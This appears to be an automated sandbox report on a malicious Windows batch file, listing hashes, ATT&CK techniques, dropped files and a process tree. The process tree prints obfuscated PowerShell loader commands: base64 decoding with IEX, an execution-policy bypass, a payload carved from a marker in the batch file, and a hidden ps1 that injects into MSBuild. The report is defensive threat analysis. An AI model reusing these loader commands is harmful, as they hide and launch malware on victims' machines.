c7670dcff1f830ab802af3be6c652a3a8ed11d5d0ce8049bc8822fdf64bbf7d6

Analysis

max time kernel
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/11/2026, 08:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3126311780.bat
Size 549KB
Sample261110-j6s7psea62
SHA256 c7670dcff1f830ab802af3be6c652a3a8ed11d5d0ce8049bc8822fdf64bbf7d6
MD5 433ab669a9cf8aaa53875599cf1b4a5f
SHA1 60a32e99a22db45570c6c5a1a60e768435db3dd7
SHA512 f396177920dac321b9eb0b2571bb8e56acb84bd5b1bcb226d9356953027d6179c3dc889105141885cfb8196eb5067680e9083280185e11530c292db4743ca186
SSDEEP 12288:8QAWpp+QqarALF2aBbD1HarBpQb/XpZjAk/zQU+K3tXRF6eL:86ENarALXv67wvn/L3Rd
TLSH
T138C4AFFC75047DE62ABF536BD99AADD913AA166397C7D4CC40A4BBC30563332EE02805
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4440	powershell.exe
5024	powershell.exe
6008	powershell.exe
5936	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5936 set thread context of 4952	5936	powershell.exe	114

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2976	sc.exe
5632	sc.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1908	cmd.exe
5740	cmd.exe
4308	cmd.exe
4536	cmd.exe
4924	cmd.exe
2960	cmd.exe
2612	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1176	PING.EXE

System Service Discovery 1 TTPs
Adversaries may try to gather information about registered local system services.
discovery

System Service Discovery
T1007
Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1176	PING.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4440	powershell.exe
4440	powershell.exe
5024	powershell.exe
5024	powershell.exe
6008	powershell.exe
6008	powershell.exe
5936	powershell.exe
5936	powershell.exe
5936	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4440	powershell.exe
Token: SeDebugPrivilege	5024	powershell.exe
Token: SeDebugPrivilege	6008	powershell.exe
Token: SeDebugPrivilege	5936	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 5740 wrote to memory of 4936	5740	cmd.exe	91
PID 5740 wrote to memory of 5040	5740	cmd.exe	92
PID 5040 wrote to memory of 5812	5040	net.exe	93
PID 5740 wrote to memory of 2976	5740	cmd.exe	94
PID 5740 wrote to memory of 4308	5740	cmd.exe	95
PID 5740 wrote to memory of 4536	5740	cmd.exe	96
PID 5740 wrote to memory of 5612	5740	cmd.exe	97
PID 5740 wrote to memory of 4440	5740	cmd.exe	98
PID 4440 wrote to memory of 4924	4440	powershell.exe	99
PID 4924 wrote to memory of 4324	4924	cmd.exe	101
PID 4924 wrote to memory of 5356	4924	cmd.exe	102
PID 5356 wrote to memory of 3536	5356	net.exe	103
PID 4924 wrote to memory of 5632	4924	cmd.exe	104
PID 4924 wrote to memory of 2960	4924	cmd.exe	105
PID 4924 wrote to memory of 2612	4924	cmd.exe	106
PID 4924 wrote to memory of 1576	4924	cmd.exe	107
PID 4924 wrote to memory of 5024	4924	cmd.exe	108
PID 5024 wrote to memory of 1908	5024	powershell.exe	109
PID 1908 wrote to memory of 6008	1908	cmd.exe	110
PID 1908 wrote to memory of 5936	1908	cmd.exe	111
PID 1908 wrote to memory of 1176	1908	cmd.exe	112
PID 5936 wrote to memory of 4952	5936	powershell.exe	114
PID 5936 wrote to memory of 4952	5936	powershell.exe	114
PID 5936 wrote to memory of 4952	5936	powershell.exe	114
PID 5936 wrote to memory of 4952	5936	powershell.exe	114

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3126311780.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5740
- C:\Windows\system32\HOSTNAME.EXE
  hostname
  2⤵
  PID:4936
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5040
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:5812
- C:\Windows\system32\sc.exe
  sc query type= driver
  2⤵
  - Launches sc.exe
  PID:2976
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c date /t
  2⤵
  - Executes a command shell one-liner
  PID:4308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c date /t
  2⤵
  - Executes a command shell one-liner
  PID:4536
- C:\Windows\system32\HOSTNAME.EXE
  hostname
  2⤵
  PID:5612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -win 1 -noni -c "IEX([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:_73Db537)))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4440
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3126311780.bat" afae7b7d30
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4924
  - - C:\Windows\system32\HOSTNAME.EXE
      hostname
      4⤵
      PID:4324
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5356
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:3536
  - - C:\Windows\system32\sc.exe
      sc query type= driver
      4⤵
      Launches sc.exe
      PID:5632
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c date /t
      4⤵
      Executes a command shell one-liner
      PID:2960
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c date /t
      4⤵
      Executes a command shell one-liner
      PID:2612
  - - C:\Windows\system32\HOSTNAME.EXE
      hostname
      4⤵
      PID:1576
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -win 1 -noni -c "IEX([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:_73Db537)))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5024
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\axpw5nyc.qth\2uuq0mjf1ze.bat" OFa7tHwfmJ7
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1908
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Set-ExecutionPolicy Bypass -Scope Process -Force;$f=('Sys'+'tem.IO'+'.Fi'+'le')-as[type];$e=$env:_scriptOrigin;if($f::Exists($e)){$s=$f::ReadAllText($e);$p='::C'+'odeNot'+'ion::';$m=$s.IndexOf($p);if($m -ge 0){$f::WriteAllText($env:_EphemeralScript,$s.Substring($m+(0x1C -shr 1)))}}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6008
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Set-ExecutionPolicy Bypass -Scope Process -Force; & 'C:\Users\Public\28203q20242.ps1'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5936
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
        7⤵
        
        PID:4952
      - C:\Windows\system32\PING.EXE
        
        ping -n 8 127.0.0.1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1176

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Service Discovery

T1007

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0d42b9406c37b48f29ed17aab32e8edb457fac9a5cf37b835fd4975aa8d49159
MD5 3b3576a3626be66c0672aa396f19f246
SHA1 a35238c7aa9c50a86b1291c48d150b2b93e65972
SHA512 0b33637c11ae0a4931af82debf03535d722f2d55d865206694d848ef6410ef8395ac596c31fd035a91fe38669da39fc62c467479f59dec010c70a2fdc47b5cc8
TLSH
T1FE215937B3DC8624CC9A413A10CEAC1536B6C7DB809ECFABBB84D544B42F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1185f0a7f2eff30a109675e738cb61e145fc0ab5936ad30266b2d61980613a49
MD5 c633c60351bc319602b4ad40fe21c438
SHA1 80cfca1d150e45a014b9cbd9958c80b724708079
SHA512 7760301ff971f42e982b7f786162cbc1d9c23001901978c4f46b0ad02cf94ce5c7d17b469eef3b5076d32a4edb8dd7f675a1e3f2a33ac082d71d207e980e29ea
TLSH
T164215933B3DC8614DC9A413A10CEEC1136B6C7DB819ECEAB7B84D555B43F299CE616A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 41c59a73d29fe9a72437c323e3c89bda71c6987848a20016af52c6e2a57b4ba8
MD5 8e8def21d8a45f4186ed39e4cd51780b
SHA1 478eecc4a4839a61f49d36aaac489fb03a902a76
SHA512 78953e7a08cc12b6323f9d053fa308b74c8497d1f747494a492d705ea4091895f77b9c4589766a1aa4ba39e7879c8b70bf4d95904d48282054237363dacd5418
TLSH
T14E218933B3DC8614CC8A403A10CEAC1036B6C7DB809ECFABBB84D544B42F299DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_adwdgrt1.hae.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_adwdgrt1.hae.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

2uuq0mjf1ze.bat

Path C:\Users\Admin\AppData\Local\Temp\axpw5nyc.qth\2uuq0mjf1ze.bat
Size 335KB
SHA256 414e1b04b8fd9b5d44677b74c8dfb38659997cdeb34fc53cea4e6cded5c208dc
MD5 cfe3cbe6253745fc81dc5a561e0882b9
SHA1 423d03af3e73632f213a384aafdfbd4cb66f0310
SHA512 c8b07141f25efd43baa5e6a4208f958c8051867871f85cc1d458b8ac3eaea98556ecaba56398ee1d57fd91cdc941a2a7eaad0c41aef962db3226a09ddec06c5c
SSDEEP 6144:a0wKuNM0N1mGfSXsuKyhPZSp9oR8RNKMXqmhvRw6KhxaGEKlf27Dl+2u:5AMJtphPZ7R8RNKM6eZw6o8Dtu
TLSH
T1E17412059E828BBC159BE4212C684908FE6450A7644D17B4F7ECA6E86FD6F0053BDBBC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

28203q20242.ps1

Path C:\Users\Public\28203q20242.ps1
Size 332KB
SHA256 5d69187b25bf196a82d2984fba221f27250d425e8b587d71a765d0b54cea6ce0
MD5 13fad861d9d04abb2b8b7281ea17b50e
SHA1 cb1f26c2ab34a5746d97cfdee5944b6d4d0fa5c2
SHA512 6f2a0d11ad2be80d3e30dd41dce09f6018bbf5f36fbdf0c4bb7559dd24b013e1bb54570dfc104634290dd886a4cd80710ef0a50e492eddedef52e8bac2ece137
SSDEEP 6144:10wKuNM0N1mGfSXsuKyhPZSp9oR8RNKMXqmhvRw6KhxaGEKlf27Dl+2u:eAMJtphPZ7R8RNKM6eZw6o8Dtu
TLSH
T1F1741205DE968ABC159BF4212C684908FE6440AB644D1774F7ECA2E86FD6F0053BDBBC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4440-6-0x00007FF9F4150000-0x00007FF9F4AF4000-memory.dmp

Download

memory/4440-9-0x00007FF9F4150000-0x00007FF9F4AF4000-memory.dmp

Download

memory/4440-10-0x00007FF9F4150000-0x00007FF9F4AF4000-memory.dmp

Download

memory/4440-13-0x00007FF9F4150000-0x00007FF9F4AF4000-memory.dmp

Download

memory/4440-12-0x00007FF9F4150000-0x00007FF9F4AF4000-memory.dmp

Download

memory/4440-8-0x00007FF9F4150000-0x00007FF9F4AF4000-memory.dmp

Download

memory/4440-7-0x00007FF9F4150000-0x00007FF9F4AF4000-memory.dmp

Download

memory/4440-5-0x00007FF9F4150000-0x00007FF9F4AF4000-memory.dmp

Download

memory/4440-3-0x0000029D72200000-0x0000029D72222000-memory.dmp

Download

memory/4440-0-0x00007FF9F42DF000-0x00007FF9F42E0000-memory.dmp

Download

memory/4440-4-0x00007FF9F4150000-0x00007FF9F4AF4000-memory.dmp

Download

memory/4952-48-0x0000000000400000-0x000000000042E000-memory.dmp

Download

memory/5936-42-0x0000029E41F10000-0x0000029E41F2C000-memory.dmp

Download

memory/5936-41-0x0000029E419B0000-0x0000029E419BA000-memory.dmp

Download

memory/5936-43-0x0000029E419C0000-0x0000029E419C8000-memory.dmp

Download

memory/5936-44-0x0000029E419D0000-0x0000029E419D6000-memory.dmp

Download

memory/5936-45-0x0000029E419E0000-0x0000029E419EA000-memory.dmp

Download

memory/5936-46-0x0000029E419C0000-0x0000029E419DA000-memory.dmp

Download

memory/5936-47-0x0000029E41930000-0x0000029E41938000-memory.dmp

Download

memory/6008-26-0x0000021127E80000-0x0000021127E9E000-memory.dmp

Download

memory/6008-25-0x0000021127E50000-0x0000021127E5A000-memory.dmp

Download

memory/6008-24-0x0000021128110000-0x00000211281C2000-memory.dmp

Download

memory/6008-23-0x0000021127E30000-0x0000021127E4E000-memory.dmp

Download